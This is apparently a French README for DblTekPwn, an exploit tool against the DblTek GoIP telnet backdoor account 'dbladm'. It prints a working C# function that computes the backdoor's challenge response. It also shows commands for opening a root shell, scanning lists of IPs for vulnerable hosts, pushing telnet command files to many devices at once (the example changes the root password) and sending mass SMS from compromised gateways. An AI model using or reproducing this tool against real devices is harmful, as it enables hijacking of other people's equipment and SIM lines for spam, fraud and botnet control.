
Outil pour vérifier si une IP d'un DblTek GoIP est vulnérable à un système de connexion par défi-réponse, envoyer des SMS depuis le système, exécuter des commandes à distance à la manière d'un botnet, et générer des réponses aux défis.
Outil pour exploiter le système de réponse au défi dans les appareils DblTek GoIP vulnérables. Permet de générer des réponses à des défis spécifiques, de tester des hôtes pour la vulnérabilité, d'exécuter des commandes sur des hôtes vulnérables, d'envoyer des SMS depuis un hôte et d'ouvrir un shell root sur n'importe quel hôte vulnérable.
Le 2 mars 2017, Trustwave a publié une vulnérabilité découverte par des chercheurs en sécurité dans le téléphone VoIP DblTek GoIP. Il s'agissait d'une porte dérobée dans le firmware pour un compte nommé 'dbladm'. Lorsqu'un utilisateur saisissait ce nom d'utilisateur dans une invite telnet, le système présentait un défi qui, suivi de la bonne réponse, donnait à l'utilisateur un shell root sur le système.
Le problème avec un tel système de réponse au défi est que les appareils sont aussi sécurisés que l'algorithme de génération des réponses, qui a été rétroconçu à partir des binaires du firmware fournis par DblTek. Grâce à cet algorithme, un shell root peut être obtenu sur TOUT appareil DblTek GoIP.
Article original : https://www.trustwave.com/Resources/SpiderLabs-Blog/Undocumented-Backdoor-Account-in-DBLTek-GoIP/
En utilisant la description de la porte dérobée fournie dans l'article, j'ai pu écrire ce que je pense être l'un des premiers codes d'exploitation pour cette vulnérabilité. Le cœur de ce code est bien sûr l'algorithme pour générer la réponse en fonction d'un défi donné. Voici une fonction pour ce faire écrite en C#.
static string ComputeResponse(string challengeStr)
{
int challenge = Convert.ToInt32(challengeStr.Substring(1)); // Get just the number after 'N'.
string modified = (challenge + 20139 + (challenge >> 3)).ToString(); // Perform some dummy 1337 operations.
byte[] buffer = new byte[64];
// Copy the string into the first part of the buffer.
for (int i = 0; i < modified.Length; i++)
buffer[i] = (byte)modified[i];
var md5 = MD5.Create();
byte[] hash = md5.ComputeHash(buffer); // Calculate the MD5 of the buffer.
StringBuilder sb = new StringBuilder(); // Will hold the results.
// Take the unpadded hex value of the first six bytes of the MD5.
for (int i = 0; i < 6; i++)
sb.Append(hash[i].ToString("x"));
return sb.ToString(); // Profit
}
Lorsque DblTekPwn est exécuté sans arguments, l'aide s'affiche. Voici la sortie :
USAGE: DblTekPwn.exe [MODE] [HOSTS] [OUTPUT]
[MODE]:
-c --compute-response [CHALLENGE] Calcule une réponse au défi donné.
-r --root-shell Démarre un shell root avec l'hôte vulnérable.
-s --send-commands [COMMAND_FILE] Envoie les commandes d'un fichier aux hôtes vulnérables.
-t --test Teste les hôtes et détermine s'ils sont vulnérables.
-h --help Affiche cette aide et quitte.
[HOSTS]:
-n --name [IP] Spécifie une seule adresse IP.
-f --file [IP_FILE] Spécifie un fichier avec des IP\nIP\nIP.
[OUTPUT]:
-o --output [OUTPUT_FILE] Spécifie un fichier de sortie. Par défaut : stdin.
DblTekGoIPPwn facilite l'obtention d'un shell root sur tout système vulnérable. Exécutez simplement la commande suivante en utilisant l'IP vulnérable.
DblTekPwn.exe --root-shell --name 192.168.1.1
Vous verrez une sortie similaire à celle-ci :
Password: ***********
À partir de là, vous pouvez commencer à entrer des commandes (il n'y a pas d'invite de shell).
Supposons que vous souhaitiez calculer la réponse à un défi GoIP N1746203308. Il suffit d'exécuter la commande suivante.
DblTekPwn --compute-response N1746203308
La sortie sera la réponse :
d6176d3aab2
Supposons que vous souhaitiez vérifier list.txt d'IP pour trouver des GoIP vulnérables et envoyer cette sortie vers results.txt. Assurez-vous d'abord que les IP sont au format ip:port (le port par défaut est 23) et que les IP sont séparées par un saut de ligne \n. La commande suivante peut ensuite être exécutée.
DblTekPwn.exe --test --file list.txt --output results.txt
list.txt :
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323
results.txt :
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False
Le False ou True après l'hôte indique si l'IP est vulnérable ou non.
Supposons que vous ayez une liste de commandes (qui est en fait une liste d'entrées telnet) dans cmds.txt à envoyer à la liste d'IP list.txt et à envoyer la sortie vers results.txt. Assurez-vous d'abord que les IP sont au format ip:port (le port par défaut est 23) et que LES IP ET les commandes sont séparées par un saut de ligne \n dans leurs fichiers respectifs. La commande suivante peut ensuite être exécutée.
DblTekPwn.exe --send-commands cmds.txt --file list.txt --output results.txt
list.txt :
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323
cmds.txt :
passwd root
toor
toor
exit
results.txt :
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False
Le False ou True après l'hôte indique si la connexion a été établie avec succès et les commandes délivrées.
Le code de ce dépôt GitHub fournit une abstraction pour l'envoi de SMS (messages texte) depuis un GoIP piraté. Pour utiliser ce code, incluez DblTekPwn.exe dans votre application et ajoutez l'instruction using suivante.
using DblTekPwn.SMS
Maintenant, dans votre code, vous pouvez utiliser la méthode statique SmsSender.SendSms. Voici quelques exemples.
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hello, World!";
SmsSender.SendSms(goIP, 23, nums, msg);
La plupart des GoIP ont jusqu'à 32 cartes SIM embarquées, permettant au pirate d'envoyer des SMS depuis toutes ces lignes.
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hai";
int numbers = 15;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);
string[] nums = new string[] { "18005551234", "18005554321", "18005551337" };
string goIP = "192.168.1.3";
string msg = "We are legion";
int numbers = 32;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);